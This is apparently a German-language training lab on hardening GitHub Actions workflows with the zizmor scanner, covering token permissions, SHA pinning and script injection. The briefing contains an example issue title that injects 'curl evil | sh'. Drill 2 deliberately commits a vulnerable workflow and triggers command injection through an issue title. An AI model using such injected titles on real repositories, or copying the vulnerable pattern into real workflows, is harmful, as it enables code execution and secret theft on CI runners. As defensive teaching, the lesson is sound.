Tag 9: Workflows absichern
Ziel: Die drei häufigsten Schwachstellen in Workflows finden und beheben: zu viele Rechte für das
GITHUB_TOKEN, Actions mit beweglichen Versionen und Script-Injection über fremden Text. Werkzeug: zizmor. · Dauer: ca. 75 min · Voraussetzung: Tag 8
Briefing
- Rechte: Jeder Lauf bekommt ein
GITHUB_TOKEN. Was es darf, legtpermissions:fest. Ohne Angabe gelten die Vorgaben des Repositorys. Regel: obencontents: read, mehr nur im Job, der es braucht. - Pinning:
uses: actions/checkout@v7zeigt auf ein Git-Tag, und Tags lassen sich verschieben. Wer das Repository einer Action übernimmt, ändert, was dein Workflow ausführt. Ein Commit-SHA ist unveränderlich. - Injection:
${{ … }}wird eingesetzt, bevor die Shell den Befehl sieht. Steht darin Text von außen – Titel eines Issues, Name eines Branches –, wird er zu Code. - zizmor prüft Workflows statisch auf diese und weitere Probleme.
Titel: a"; curl evil | sh; echo "
run: echo "${{ github.event.issue.title }}" ──► echo "a"; curl evil | sh; echo ""
env: TITEL: ${{ github.event.issue.title }}
run: echo "$TITEL" ──► echo "$TITEL" (nur Text)
Drill 1: zizmor
mkdir -p ~/gha-lab/zizmor
cd ~/gha-lab/zizmor
gh release download v1.32.0 -R zizmorcore/zizmor \
-p zizmor-x86_64-unknown-linux-gnu.tar.gz
tar xzf zizmor-x86_64-unknown-linux-gnu.tar.gz
mv zizmor ~/.local/bin/
zizmor --versionErwartet:
zizmor 1.32.0
cd ~/gha-lab/notes-actions
zizmor -q --offline .github/workflows | tail -1Erwartet (die Zahlen können abweichen):
68 findings (24 suppressed, 6 unsafe fixes): 0 informational, 5 low, 10 medium, 29 high
-qunterdrückt die Fortschrittsmeldungen,--offlineprüft nur die Dateien und fragt nicht bei GitHub nach.- 24 Funde unterdrückt zizmor selbst, weil sie im Standardmodus zu unsicher sind.
Welche Arten von Funden?
zizmor -q --offline .github/workflows | grep -oE '^[a-z]+\[[a-z-]+\]' | sort | uniq -cErwartet:
1 error[cache-poisoning]
2 error[excessive-permissions]
26 error[unpinned-uses]
5 help[artipacked]
10 warning[excessive-permissions]
grep -oEholt aus jeder Zeile nur Art und Name des Fundes,sort | uniq -czählt gleiche Zeilen.unpinned-uses: Actions ohne Commit-SHA.excessive-permissions: Workflows ohnepermissions:oder mit zu viel davon.artipacked:actions/checkoutlässt den Token in.git/configliegen – ein späterer Step, der den Arbeitsordner als Artefakt hochlädt, verrät ihn.cache-poisoning: Ein Release-Workflow nutzt einen Cache, den jeder Pull-Request befüllen kann.
Fortschritt speichern? Kostenlos registrieren
Drill 2: Script-Injection
Ein Workflow, der neue Issues begrüßt – mit einem typischen Fehler.
(Kein Doppelpunkt hinter „Issue“: : mitten in einem
YAML-Wert ohne Anführungszeichen macht die Datei ungültig, und GitHub
ignoriert den Workflow dann wortlos.)
cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
issues:
types: [opened]
permissions:
contents: read
jobs:
hallo:
runs-on: ubuntu-24.04
steps:
- run: echo "Neues Issue ${{ github.event.issue.title }}"
EOF
git add .github
git commit -qm "issue: begrüßen"
git push -qJetzt ein Issue mit einem ungewöhnlichen Titel:
gh issue create --title 'Test"; echo "INJIZIERT als $(whoami)' --body 'Test'Erwartet:
https://github.com/<du>/notes-actions/issues/12
Mit der ID aus
gh run list --workflow issue.yml --limit 1, sobald der Lauf
fertig ist:
gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'Erwartet (Zeitstempel gekürzt):
hallo Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... Neues Issue Test
hallo Run echo "Neues Issue Test"; echo "INJIZIERT als $(whoami)" ... INJIZIERT als ru...
Der Titel wurde zu einem zweiten Befehl, und $(whoami)
lief auf dem Runner. Statt echo könnte dort
curl … | sh stehen – mit Zugriff auf alle Secrets und das
GITHUB_TOKEN des Jobs. Das Issue anlegen darf
jeder, der das öffentliche Repository sieht.
zizmor kennt das Muster:
zizmor -q --offline .github/workflows/issue.yml | head -3Erwartet:
error[template-injection]: code injection via template expansion
--> .github/workflows/issue.yml:13:36
|
Die Lösung: Der Wert kommt über env: als
Umgebungsvariable. Die Shell setzt sie ein, behandelt sie aber nur als
Text:
cat > .github/workflows/issue.yml <<'EOF'
name: issue
on:
issues:
types: [opened]
permissions:
contents: read
jobs:
hallo:
runs-on: ubuntu-24.04
steps:
- env:
TITEL: ${{ github.event.issue.title }}
run: echo "Neues Issue $TITEL"
EOF
git commit -qam "issue: Titel nur über env"
git push -q
gh issue create --title 'Test2"; echo "INJIZIERT als $(whoami)' --body 'Test'Mit der neuen ID, sobald der Lauf fertig ist:
gh run view <ID> --log | grep -E 'Z (Neues|INJIZIERT)'Erwartet:
hallo Run echo "Neues Issue $TITEL" ... Neues Issue Test2"; echo "INJIZIERT als $(who...
Eine Zeile, der Titel als Text. Aufräumen:
gh issue close 12
gh issue close 13Fortschritt speichern? Kostenlos registrieren
Drill 3: Rechte begrenzen
Die Vorgabe des Repositorys:
gh api repos/{owner}/{repo}/actions/permissions/workflowErwartet:
{"default_workflow_permissions":"read","can_approve_pull_request_reviews":false}
Schon gut – neue Repositorys geben dem Token nur Leserechte. Trotzdem
gehört permissions: in jeden Workflow: Die Vorgabe kann
jemand ändern, ältere Repositorys und viele Organisationen stehen noch
auf write, und wer die Datei liest, sieht sofort, was der
Workflow darf.
Für ci.yml, hallo.yml, vm.yml
und gpu.yml genügt Lesen. Zwei Zeilen pro Datei, direkt
nach name:, mit sed:
sed -i '1a permissions:\n contents: read' .github/workflows/ci.yml
sed -i '1a permissions:\n contents: read' .github/workflows/hallo.yml
sed -i '1a permissions:\n contents: read' .github/workflows/vm.yml
sed -i '1a permissions:\n contents: read' .github/workflows/gpu.yml
head -4 .github/workflows/ci.ymlErwartet:
name: ci
permissions:
contents: read
concurrency:
1a heißt: nach Zeile 1 anhängen, \n trennt
die zwei neuen Zeilen.
zizmor -q --offline .github/workflows | grep -c '^[a-z]*\[excessive-permissions\]'Erwartet:
2
Übrig sind zwei Funde in image.yml und
release.yml: Dort stehen Schreibrechte
(packages: write bzw. contents: write) auf
oberster Ebene und gelten damit für alle Jobs. Besser
stehen sie nur im Job, der sie braucht. Die Challenge räumt
release.yml auf; image.yml geht genauso.
Fortschritt speichern? Kostenlos registrieren
Drill 4: Actions pinnen
Zu welchem Commit gehört actions/[email protected]?
gh api repos/actions/checkout/commits/v7.0.1 --jq .shaErwartet:
3d3c42e5aac5ba805825da76410c181273ba90b1
So pinnst du eine Action: SHA statt Tag, die Version als Kommentar
dahinter. ci.yml mit allen Actions gepinnt – und
persist-credentials: false gegen
artipacked:
cat > .github/workflows/ci.yml <<'EOF'
name: ci
permissions:
contents: read
concurrency:
group: ci-${{ github.ref }}
cancel-in-progress: true
on:
push:
branches: [main]
paths-ignore: ['**.md']
pull_request:
jobs:
test:
strategy:
matrix:
os: [ubuntu-24.04, ubuntu-24.04-arm]
runs-on: ${{ matrix.os }}
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
- name: Statische Prüfung
run: go vet ./...
- run: go test ./...
- name: PR-Info
if: github.event_name == 'pull_request'
env:
VON: ${{ github.head_ref }}
NACH: ${{ github.base_ref }}
run: echo "PR $VON -> $NACH" | tee -a "$GITHUB_STEP_SUMMARY"
build:
needs: test
strategy:
matrix:
goarch: [amd64, arm64]
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
- name: Bauen
env:
CGO_ENABLED: "0"
GOOS: linux
GOARCH: ${{ matrix.goarch }}
run: >-
go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_SHA::7}"
-o notes-api-linux-$GOARCH .
- uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: notes-api-linux-${{ matrix.goarch }}
path: notes-api-linux-${{ matrix.goarch }}
retention-days: 7
smoke:
needs: build
runs-on: ubuntu-24.04
steps:
- uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
name: notes-api-linux-amd64
- name: Starten und prüfen
run: |
chmod +x notes-api-linux-amd64
NOTES_API_KEY=lab-api-key-123 PORT=8090 ./notes-api-linux-amd64 &
sleep 1
curl -fsS localhost:8090/healthz
lint:
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
- uses: golangci/golangci-lint-action@ba0d7d2ec06a0ea1cb5fa41b2e4a3ab91d21278a # v9.3.0
with:
version: v2.15.0
EOF
zizmor -q --offline .github/workflows/ci.ymlErwartet:
No findings to report. Good job! (4 suppressed)
- Zeilen mit SHA werden lang. Der Kommentar gehört trotzdem in dieselbe Zeile.
- Der Kommentar
# v7.0.1ist für Menschen – und für Dependabot und Renovate, die daran erkennen, welche Version gemeint ist, und gepinnte SHAs aktualisieren (Tag 10). persist-credentials: false:checkoutlegt den Token nicht in.git/configab. Wer danachgit pushbraucht, setzt es bewusst wieder auftrue.
git commit -qam "ci: Actions gepinnt, keine Zugangsdaten im Checkout"
git push -qFortschritt speichern? Kostenlos registrieren
Kontrollpunkt
zizmor -q --offline .github/workflows/ci.yml .github/workflows/issue.yml | tail -1Erwartet:
No findings to report. Good job! (4 suppressed)
grep -c '@[0-9a-f]\{40\} # v' .github/workflows/ci.ymlErwartet:
9
gh run list --workflow ci.yml --limit 1 --json conclusion --jq '.[0].conclusion'Erwartet (sobald der Lauf fertig ist):
success
Challenge
Bring release.yml auf null Funde: Actions pinnen,
contents: write nur für den Job release, oben
contents: read, kein Cache im Release-Build.
Hinweis: permissions: geht auch pro
Job. setup-go hat den Schalter cache: false.
Die SHAs holst du wie in Drill 4.
Lösung
cat > .github/workflows/release.yml <<'EOF'
name: release
on:
push:
tags: ['v*']
permissions:
contents: read
jobs:
build:
strategy:
matrix:
goarch: [amd64, arm64]
runs-on: ubuntu-24.04
steps:
- uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
with:
persist-credentials: false
- uses: actions/setup-go@b7ad1dad31e06c5925ef5d2fc7ad053ef454303e # v7.0.0
with:
go-version-file: go.mod
cache: false
- name: Bauen
env:
CGO_ENABLED: "0"
GOOS: linux
GOARCH: ${{ matrix.goarch }}
run: >-
go build -trimpath -ldflags "-s -w -X main.version=${GITHUB_REF_NAME#v}"
-o notes-api-linux-$GOARCH .
- uses: actions/upload-artifact@cf430e030ddbb5b0abf93d22962f4752f3646cd9 # v7.0.2
with:
name: notes-api-linux-${{ matrix.goarch }}
path: notes-api-linux-${{ matrix.goarch }}
release:
needs: build
runs-on: ubuntu-24.04
permissions:
contents: write
steps:
- uses: actions/download-artifact@9000827ccba6bdab643e8b6fd33ac0654aef8333 # v8.0.2
with:
pattern: notes-api-linux-*
merge-multiple: true
- name: Prüfsummen
run: sha256sum notes-api-linux-* > SHA256SUMS
- name: Release anlegen
env:
GH_TOKEN: ${{ github.token }}
VORAB: ${{ contains(github.ref_name, '-') }}
run: >-
gh release create "$GITHUB_REF_NAME" notes-api-linux-* SHA256SUMS
--repo "$GITHUB_REPOSITORY" --generate-notes --prerelease="$VORAB"
EOF
zizmor -q --offline .github/workflows/release.ymlErwartet:
No findings to report. Good job! (4 suppressed)
git commit -qam "release: gepinnt, Rechte pro Job, ohne Cache"
git push -qcache: false im Release: Ein Cache, den ein Pull-Request
befüllen kann, hätte sonst Einfluss auf die Binärdateien, die du
veröffentlichst.
Fortschritt speichern? Kostenlos registrieren
Enterprise-Notiz
pull_request_targetläuft im Kontext des Ziel-Repositorys – mit Secrets und Schreibrechten, auch für Pull-Requests aus Forks. Wer dort den Code des Pull-Requests auscheckt und ausführt, gibt Fremden beides. zizmor meldet das alsdangerous-triggers.- Richtlinien für Actions: Organisationen erlauben unter Settings → Actions → General nur bestimmte Actions, etwa die von GitHub, verifizierte Ersteller und eine Liste – und können SHA-Pinning erzwingen.
- zizmor in CI:
zizmor --format sarifplusupload-sariflegt die Funde unter Security ab, wie Trivy an Tag 8. Neue Workflows mit Lücken fallen dann im Pull-Request auf. - Secrets im Log: GitHub maskiert bekannte Secrets
mit
***, aber nicht, was daraus abgeleitet wird (z. B. Base64). Abgeleitete Werte mit::add-mask::maskieren.